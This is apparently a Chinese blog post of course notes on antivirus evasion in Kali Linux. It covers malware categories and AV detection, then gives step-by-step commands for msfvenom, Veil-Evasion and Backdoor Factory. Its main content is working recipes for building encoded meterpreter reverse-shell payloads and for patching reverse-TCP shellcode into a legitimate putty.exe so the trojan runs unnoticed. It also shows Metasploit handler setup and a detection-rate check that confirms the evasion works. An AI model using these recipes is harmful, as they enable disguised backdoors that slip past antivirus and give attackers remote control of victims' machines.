Kali Linux滲透測試——免殺基礎

筆記內容參考安全牛課堂苑房弘老師的Kali Linux滲透測試教程

一、基礎概念

(一)惡意軟件

在用戶非自願情況下執行安裝,具有控制、竊取、勒索、攻擊等惡意功能的軟件,基本分類如下:

  • 病毒:獨立存在或者插入在計算機程序中的惡意代碼,可通過隱蔽複製進行傳播
  • 蠕蟲:可以通過網絡進行傳播病毒
  • 木馬:通過僞裝誘使用戶運行程序,達到遠程控制、破壞系統等目的,一般不會通過複製傳播,不會感染其他文件RAT(Remote Access Trojan)即遠程訪問木馬
  • 鍵盤記錄:自動記錄鍵盤鍵入內容
  • 殭屍程序:利用感染主機作爲殭屍機,在未授權情況下對第三方發起攻擊或完成惡意操作
  • 流氓軟件:跟蹤上網行爲,完成廣告彈窗、瀏覽器劫持、泄漏隱私信息等非授權操作
  • 勒索軟件:限制系統文件資源訪問,直至向攻擊者做出妥協
  • 廣告程序:插入未經授權的廣告,賺取黑色利潤

隨着技術發展其分類邊界愈加模糊,惡意軟件常具備以上多種特點。常見RAT軟件包括:灰鴿子、波爾、黑暗彗星、潘多拉、NanoCore等。

(二)防護手段

惡意軟件最主要的防護手段包括殺毒/防毒軟件、防火牆、IPS、IDS等產品,這些產品都具有AV(Anti-Virus)功能,其檢測原理大致分爲兩類:

  • 基於二進制文件中特徵字符的黑名單檢測方法,包括檢測惡意軟件本身的特徵字符,以及加密工具的特徵字符
  • 基於行爲特徵的分析方法,尚需完善,存在誤殺漏殺情況

(三)免殺技術

攻擊者可以通過轉換惡意軟件的方法繞過安全防護機制,基本方法如下:

  • 繞過二進制文件的特徵字符檢測:在已有代碼基礎上替換、擦除、篡改,或者編寫新的惡意代碼
  • 加密:使得二進制文件的特徵字符不可讀,可以在運行時分片分段解密執行,注入進程或AV不檢查的白名單文件中
  • 內存運行:將惡意代碼置於內存運行,以繞過一些基於文件系統進行檢測的AV程序

注意:由於AV不僅檢查惡意軟件本身的特徵字符,還會檢查加密工具的特徵字符,所以惡意軟件在經過一些 知名加密工具 加密後,可能導致被AV檢測出的可能性會更大。編寫私有惡意軟件,或使用獨有加密工具可以實現更好的免殺功能。

單一AV廠商的病毒庫很難達到100%全覆蓋,一些網站集成多種AV檢測引擎,提供更好的病毒檢測功能,甚至某些AV軟件沒有自己的病毒庫,直接調用這些網站提供的接口:

二、工具介紹

(一)Msfvenom

基於Metasploit的木馬腳本生成工具,基本使用方法如下:

# 首先生成木馬腳本
msfvenom --platform linux -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.11.129 LPORT=4444 -b "0" -e x86/shikata -i 9 -f elf -o file.bin
# -p:選擇payload
# -e:編碼方式
# -b:去掉壞字符
# -i:迭代編碼次數
# -f:生成文件格式
# -o:生成文件名稱
# LHOST、LPORT:payload運行後要回連的主機和端口,也是本機要偵聽的端口

# 然後運行msfconsole,在本機開啓偵聽端口
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp 
set LHOST 10.10.11.129
set LPORT 4444
run

# 最後上傳木馬腳本並在靶機運行,取得回連shell,獲取控制權

可以在已有模板插入惡意代碼,不破壞原程序的功能和使用,每次運行都被重新激活運行:

msfvenom -a x64 --platform windows -p windows/shell/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\x00" -f exe -o 1.exe
# -x和-k參數一般同時使用
# -x:表示與現有軟件綁定在一起
# -k:表示在現有程序基礎上另開一個線程運行,這樣纔不會覆蓋原程序

注意:類似Msfvenom這種知名木馬腳本生成工具,其處理文件的特徵字符串已被絕大多數AV軟件收錄,所以查殺率很高,實際應用中免殺效果並不理想。

(二)Veil-evasion

1.基本介紹

屬於Veil-framework框架的一部分,由Python語言編寫,用於將已有payload做加密、編碼等變換,從而實現免殺,具有以下特點:

  • 集成msf payload,常配合Metasploit使用
  • 集成多種進程注入技術
  • 集成多種第三方工具如:Hypersion、PEScrambler、BackDoor Factory等
  • 集成多種開發打包運行環境如:Python、C#、C等

2.使用方法

通過veil-evasion命令運行,根據菜單向導配置payload,然後generate生成payload,如下圖所示:

Veil-Evasion運行界面

圖1 Veil-Evasion運行界面

默認生成的payload保存在/var/lib/veil-evasion/output/compiled/目錄下,配合其使用的服務端命令以rc腳本文件的形式保存在/var/lib/veil-evasion/output/handlers/目錄中,用於結合Metasploit使用,可以通過msfconsole -r payload.rc命令調用腳本文件。

(三)Backdoor-factory

1.基本介紹

由python語言開發的後門工具,適用於製作或綁定Windows PE和Linux ELF木馬腳本文件。BDF可將shellcode代碼patch進模板程序,躲避AV查殺,可以不破壞模板程序的功能和使用,每次運行文件shellcode都被重新激活運行,類似Metasploit,但存在一定區別如下:

  • Metasploit:在原有二進制文件的基礎上,增加完整shellcode片段,跳轉執行。
  • BDF:將shellcode劃分不同大小代碼塊,放置於模板文件的代碼縫隙中,shellcode在不同的代碼縫隙跳轉執行。代碼縫隙指二進制文件中超過兩個字節的連續0x00區域(代碼片段間區域),代碼縫隙是由編譯器形成的,不同編譯器對同一源文件編譯的結果不同。

注意:存在一定概率文件會被patch壞掉,某些受保護的二進制程序也無法進行patch。

2.使用方法

模板文件以putty.exe爲例,注意這裏有個坑,用在kali中用apt install下載的backdoor-factory不能識別可執行文件,提示putty.exe not a PE File,我們需要在GitHub自行下載,並安裝capstone包:

git clone https://github.com/secretsquirrel/the-backdoor-factory.git
cd the-backdoor-factory
./install.py
pip3 install capstone

./backdoor.py -f ~/Desktop/putty.exe -S
# 檢查putty.exe是否支持代碼注入

./backdoor.py -f ~/Desktop/putty.exe -s show
# 顯示可插入putty.exe的payload

./backdoor.py -f ~/Desktop/putty.exe -c 
# 查看putty.exe的代碼縫隙

將payload作爲整個section添加到文件末尾成功率高,但是免殺效果差;將payload劃分爲多個section添加到文件代碼縫隙中成功率低,但是免殺效果好。

./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444
# 默認命令將payload作爲整個section插入到文件一個代碼縫隙中

./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444 -J
# -J:將payload劃分爲多個section添加到文件代碼縫隙中

./backdoor.py -f ~/Desktop/putty.exe -s reverse_tcp_stager_threaded -H 10.10.11.129 -P 4444 -a 
# -a:將payload作爲整個section添加到文件末尾

payload插入後將putty.exe保存在backdoored目錄下,將其上傳至目標靶機,結合Metasploit使用:

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
# 注意payload要選擇x64平臺meterpreter,否則可能運行失敗
set LHOST 10.10.11.129
set LPORT 4444
run -j

最後在靶機中運行putty.exe,取得shell控制權。將運用-a參數生成的putty.exe傳到VirSCAN檢測,效果還是可以的,檢測結果如下圖所示:
VirSCAN檢測結果

圖2 VirSCAN檢測結果

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章